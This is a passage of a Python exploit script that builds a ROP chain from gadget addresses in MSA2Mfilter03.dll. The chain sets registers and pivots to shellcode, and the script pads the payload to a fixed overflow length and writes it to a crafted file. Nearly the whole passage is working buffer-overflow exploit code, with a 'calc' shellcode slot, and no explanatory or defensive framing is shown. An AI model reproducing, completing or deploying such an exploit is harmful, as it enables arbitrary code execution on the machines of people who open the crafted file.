rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
#[—INFO:gadgets_to_set_edi:—]
rop += struct.pack(‘<L’,0x100301c6) # POP EDI # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x1001d204) # RETN (ROP NOP) [MSA2Mfilter03.dll]
#[—INFO:gadgets_to_set_eax:—]
rop += struct.pack(‘<L’,0x1002b95d) # POP EAX # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x90909090) # nop
#[—Manipulate EAX register to contain the address of # PUSHAD #RETN—]
rop += struct.pack(‘<L’, 0x1002E516) # POP EAX # RETN
rop += struct.pack(‘<L’, 0xA4E2F275)
rop += struct.pack(‘<L’, 0x1001821e) # ADD EAX,5B5D5E5F # RETN
rop += struct.pack(‘<L’, 0x10040ce5) # PUSH EAX # RETN # use as breakpoint
rop += struct.pack(‘<L’, 0x90909090)
rop += struct.pack(‘<L’, 0x10043de1) # PUSH ESP # RETN
nops = “\x90” * 16
junk = “C” * (26031 – 17417 – len(rop) – len(nops) – len(calc))
payload = buffer + retn + rop + nops + calc + junk
f = open(file,’w’)
f.write(payload)
f.close()